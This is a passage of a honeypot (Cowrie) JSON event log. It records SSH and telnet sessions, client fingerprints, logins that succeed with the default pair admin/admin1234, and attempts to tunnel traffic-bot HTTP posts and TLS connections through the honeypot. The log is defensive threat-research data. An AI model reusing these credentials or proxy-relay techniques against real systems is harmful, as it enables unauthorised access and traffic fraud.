no-cache\\r\\n\\r\\n_=XklVMV44ZlU%2BUz5%2BUGRtQw%3D%3DzM3lz2cvZNttjToshmAjvYszRtCIEzMIt%2FSn4oE%2BdqhgoiVHKFWnz0ozWPwDXneg0iN8PBcfu37fRKfYChAoZhWrpoQ6jT90Ce3lpsWtfzIJRUngopwES%2FHB7cY897ZEPf5EvHvjuJs1uFYLjwhPhdPhE%2FOAC1Zu5cYt%2FNy4YdEszs07DA1797lvljqDTbXQelClk4VwY8w3S5sBqRsmwC5ymm9r%2FK6Sn6LhLFrb5o%2BuYqDb5PT51tXuUPEBpPD5Tn9PPR5UUnk93CoTCTOdWrIKeZ%2BbczpbXaHYHIRoVFdG6x3bx5gORUumdKQimiBc1rGqpwLsi8KaJXjKE3ZHJyVeLbVI8CMlsR4uSq8mJGfC0r8l79EhKScQJqU4cbGErONB10CRARkTIVpIBVDxmR%2FVlrhGCc6Bth1wVFnSieNFPIoB1zP%2FK1hBixThj3OIm1MvhBFkTn1rQc%2Fnjl%2BbuPA6JlV9IzpYvrrOCnJNNlKOi4iKBKKws%2FsJBm8Kk3HPN13bAKernLBZqr%2Fd1BQuciCSvtC6APtbCK4A52chccgYQ3ecR1EvLRf9vocu%2FogCKMUQxAiacbcgWpJ4W7HVRA5jobzyp8O2Ko2%2BgObKRShYlt6VkNNIKFZQoTq%2FV7DBr7A5%2FM%2F9TOEeCC8sF3oxRTOQld%2Fh0yrLHU97KjzEcRUezSoT3jia4jTpeOmp6WEnW30DUwtHeoqUCsOe18xj8mw1jeF%2BIqVm8KBEpoV8tbmz0IjMrtMiHcjLI13rarPmq%2FhpBEfq4F7pXeM9X5kfeA3e3QHBoYU8M9DwBeUoQXeWuf%2BGZkf6ncuG9rquR%2F2VESYIp7jue3muGY%2BIrf7Iai49uvCN01dNXrsr6llXi5TUq49NyAV3D2gaWwhG7msjzoUfH03wdSLTNKk9yp2so2ivvEPq35WBUb2cy1UbkaypfGpgkE9IOfTnrC96cvEBrMr7l6WVvHkUR4SqvWiHswxlDNHSoOzQ7i7X3O%2FmL%2FSlPqMyZKIBYbwIUFON%2BeBIPSLbqbTulpwQmHUx%2BDBuI1CFSq7cH9Vr3Z90GKimXv8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.428522Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.439686Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x153^KO\\x1c\\xdb\\xb6@\\x12\\xf6|\\xe9/\\xbf>\\x97\\x0b\\x86\\xa8\\xa2Q\\xd2F^\\x8b\\x11\\x83\\x96\\xbci\\xf9 \\x05\\xb8\\x88\\x8b\\x03I\\xb9:\\x84\\x86\\xc3\\x07\\x8e\\\\6\\xb1\\xf1\\x9cnJ\\x01+\\xcdk\\xa8\\xff\\xf07\\xc4jM\\xa4\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 U!\\n~\\x89\\xfcVG\\x0f\\x98\\x8e\\xb9$\\xc8\\x9c\\x1fR \\'24Z\\xf3\\xcaV\\xcc\\xcd\\xb3\\x94kFO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x153^KO\\x1c\\xdb\\xb6@\\x12\\xf6|\\xe9/\\xbf>\\x97\\x0b\\x86\\xa8\\xa2Q\\xd2F^\\x8b\\x11\\x83\\x96\\xbci\\xf9 \\x05\\xb8\\x88\\x8b\\x03I\\xb9:\\x84\\x86\\xc3\\x07\\x8e\\\\6\\xb1\\xf1\\x9cnJ\\x01+\\xcdk\\xa8\\xff\\xf07\\xc4jM\\xa4\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 U!\\n~\\x89\\xfcVG\\x0f\\x98\\x8e\\xb9$\\xc8\\x9c\\x1fR \\'24Z\\xf3\\xcaV\\xcc\\xcd\\xb3\\x94kFO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.442382Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.48823165893555,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:01.786174Z","src_ip":"128.199.8.54","session":"214af09da3bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:03.625848Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:04.978014Z","src_ip":"123.27.168.40","session":"859e33ef5a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40754,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c13a37d987","protocol":"telnet","message":"New connection: 172.81.62.90:40754 (159.203.135.109:23) [session: 93c13a37d987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:05.030041Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":55553,"dst_ip":"10.17.0.5","dst_port":22,"session":"37fe2a74a235","protocol":"ssh","message":"New connection: 173.208.188.210:55553 (10.17.0.5:22) [session: 37fe2a74a235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:05.455928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:05.464942Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:05.624693Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:07.424336Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":56458,"dst_ip":"10.17.0.5","dst_port":22,"session":"581e188dae53","protocol":"ssh","message":"New connection: 113.164.152.20:56458 (10.17.0.5:22) [session: 581e188dae53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:12.386447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:12.391308Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:12.696387Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:13.889483Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:14.289877Z","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:14.469870Z","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:14.569978Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eW99XjxuPjk%2FelVVKiFMMA%3D%3D%2BBL%2BWDmU6GKnkogqSYQyOzHt3ESFCWPjw4HvuTGxx7%2FMIQHzNxB98IccT3DJVNtk3i2NOJ2SyX1ARTYXKIwt%2FfK3qh4Hbj%2BMYvRzA5JvafgSqQY%2FlMCb9zHpAAlnzoidi7GkuT58eS%2BbyfPwi%2BUtCUAXMMJrBtaWqmurMuz6CSdmzkg4JPzW%2Bm1mJidVaKfi%2Blum%2FG4hPrNRMmo8PBXmVC5ti4Gc63q4XoGxixa4iGRe%2B6ekCma3SN6fQQrsnJ0GXtA1smN78w6YKkYPUO2tp3CYYm%2BKmmDK3yRtV8PanRKt249TXd2nOcHQtX4Qkrei%2FJrrK%2BqY4ico6QfF0aySaUqyp0NLXmEi2OVg5Xw2eDieHBgoM30u2bKckvVmAghD%2FtehYywz3xqJkmO0j0xVRoM4GIl6VlaIDgnFvxRqY4zMMnj2zYUZXQNNOJje%2FZcDBVTCHNQrIfrDFspLdUVK5nfRvLdaEZza4U00sKLAdzd2Wx16HURxVvIYcLQ8Zi4URNmjtQp1YWjGhQndYGV%2BMIVjXm06oo62oOJPQ0nI07vFhEVJeIYLc88IZE%2F3u5dWNq96Oxrh32XnAwAW1hUZknJSkJZctgFEoyQZGm7Ewa4dQr0OFCFscdL5dAwntV%2BmBTk8XkjizoRTdCfW96aPmAr9b9flAwvNgkCYB5s3IMNJMOa8pfLq6HQ7G8lGo2DB4fBIRrGpogxD96CPggnndJBfZkl7%2FeZ21lqihxseO2nGM%2FRqD9z0OOxB214I81wPdRydQFlE0LelW0Lg9fcoF8ZsTL%2Byhh9o3UVX7QgjbSqbGTJ9QoKRwa1RReFcAQx%2Bz48tIJnAsfKccp7ruuH4wHTIoRd08CX1pZ9UzqQshWSsU314KgLZV6sNPMBaJ4QI6VyB3bdTsYP3XZa7bbEwfY8ELmLD8lRiWhWOxxBALBIAeTSsyAjjakg4xM9menvf1zRwINMtc9cqeS8j%2BcanNbHbogS6HI2qtG4WJ%2Fy9wLOtTO5043wQL0oU2bYPZb64j7wK0n9k3aWBX93b2HZdEikRMbBoiye414CtNsmluoI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eW99XjxuPjk%2FelVVKiFMMA%3D%3D%2BBL%2BWDmU6GKnkogqSYQyOzHt3ESFCWPjw4HvuTGxx7%2FMIQHzNxB98IccT3DJVNtk3i2NOJ2SyX1ARTYXKIwt%2FfK3qh4Hbj%2BMYvRzA5JvafgSqQY%2FlMCb9zHpAAlnzoidi7GkuT58eS%2BbyfPwi%2BUtCUAXMMJrBtaWqmurMuz6CSdmzkg4JPzW%2Bm1mJidVaKfi%2Blum%2FG4hPrNRMmo8PBXmVC5ti4Gc63q4XoGxixa4iGRe%2B6ekCma3SN6fQQrsnJ0GXtA1smN78w6YKkYPUO2tp3CYYm%2BKmmDK3yRtV8PanRKt249TXd2nOcHQtX4Qkrei%2FJrrK%2BqY4ico6QfF0aySaUqyp0NLXmEi2OVg5Xw2eDieHBgoM30u2bKckvVmAghD%2FtehYywz3xqJkmO0j0xVRoM4GIl6VlaIDgnFvxRqY4zMMnj2zYUZXQNNOJje%2FZcDBVTCHNQrIfrDFspLdUVK5nfRvLdaEZza4U00sKLAdzd2Wx16HURxVvIYcLQ8Zi4URNmjtQp1YWjGhQndYGV%2BMIVjXm06oo62oOJPQ0nI07vFhEVJeIYLc88IZE%2F3u5dWNq96Oxrh32XnAwAW1hUZknJSkJZctgFEoyQZGm7Ewa4dQr0OFCFscdL5dAwntV%2BmBTk8XkjizoRTdCfW96aPmAr9b9flAwvNgkCYB5s3IMNJMOa8pfLq6HQ7G8lGo2DB4fBIRrGpogxD96CPggnndJBfZkl7%2FeZ21lqihxseO2nGM%2FRqD9z0OOxB214I81wPdRydQFlE0LelW0Lg9fcoF8ZsTL%2Byhh9o3UVX7QgjbSqbGTJ9QoKRwa1RReFcAQx%2Bz48tIJnAsfKccp7ruuH4wHTIoRd08CX1pZ9UzqQshWSsU314KgLZV6sNPMBaJ4QI6VyB3bdTsYP3XZa7bbEwfY8ELmLD8lRiWhWOxxBALBIAeTSsyAjjakg4xM9menvf1zRwINMtc9cqeS8j%2BcanNbHbogS6HI2qtG4WJ%2Fy9wLOtTO5043wQL0oU2bYPZb64j7wK0n9k3aWBX93b2HZdEikRMbBoiye414CtNsmluoI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:14.573723Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:14.845873Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9eH*\\xfdq/G\\xe7s\\xbf\\xc9}t:\\xbf\\x88k-\\xc9\\xcc\\x8c\\xb9O\\xd8h\\xad\\xe8\\xdc\\x96V\\xe9\\xb7 S\\xbe\\xb7iq!\\xc7\\xc2\\xf6\\x03\\xcf\\x98\\xc8\\xa1^\\xcd\\xd0$\\x93w\\xde\\xe89\\x02\\xd7\\xe5g\\x1f|e4'\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4\\x1a\\xae3\\xe0\\xbb\\xa0\\xcf\\xfd\\xc6\\xe4\\xe7\\x05-\\xb8wH=\\xb6\\xdf\\xc2$\\x87\\xcd0{\\x95\\xfe\\xbcN\\x9c5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\